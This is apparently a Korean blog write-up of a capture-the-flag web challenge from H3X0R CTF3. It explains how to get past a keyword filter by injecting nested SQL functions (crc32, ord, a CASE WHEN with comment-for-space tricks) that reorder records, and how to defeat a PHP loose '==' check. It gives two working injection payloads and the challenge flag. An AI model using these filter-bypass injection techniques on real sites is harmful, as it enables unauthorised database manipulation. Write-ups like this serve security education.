2017년 8월 4일 금요일

H3X0R CTF3 - is this possible? (1000pt)

WEB - is this possible? (1000pt)

made by munsiwoo




?go=id

풀이

go라는 테이블에 위의 순서대로 레코드가 담겨있다.
문제의 핵심은 필터 키워드를 사용하지 않고 레코드의 순서를 바꾸는 것이다.

순서를 바꾸는 방법은 여러 가지가 있는데
출제자가 의도했던 풀이 방법은 ord(), crc32(), sha1()와 같은 함수를 사용하여
기존의 레코드를 다른 값으로 바꿔서 순서를 바꾸는 것이었다.

ex) crc32("admin") == 2282622326
crc32(crc32("admin")) == 2979564489
sha1("admin") == d033e22ae348aeb5660fc2140aec35850c4da997
ord("a") == 97
ord(ord(ord("a"))) == 53

위와 같이 함수 안에 함수를 넣는 방법으로 레코드를 계속해서 바꿀 수도 있다.
이렇게 레코드값을 바꾸는 방법으로 순서를 바꿀 수 있다.

두 번째 if문은 == 연산자로 비교하므로 쉽게 우회할 수 있다.
ex) (int)19990301 == 19990301abcdef (True)
(int)19990301 == 19990301.00 (True)

payload1 (munsiwoo)
?go=crc32(crc32(crc32(crc32(id))))&foo=19990301abcdef

payload2 (adm1nkyj)
?go=(case/**/when/**/((hex(id)-6775657374)*(id-20010609)*(id-19970101))/**/then/**/id/**/else/**/0/**/end)&foo=19990301.00


flag : H3X0R{03c7c0ace30182db0795ae2c30f03d84}




댓글 없음:

댓글 쓰기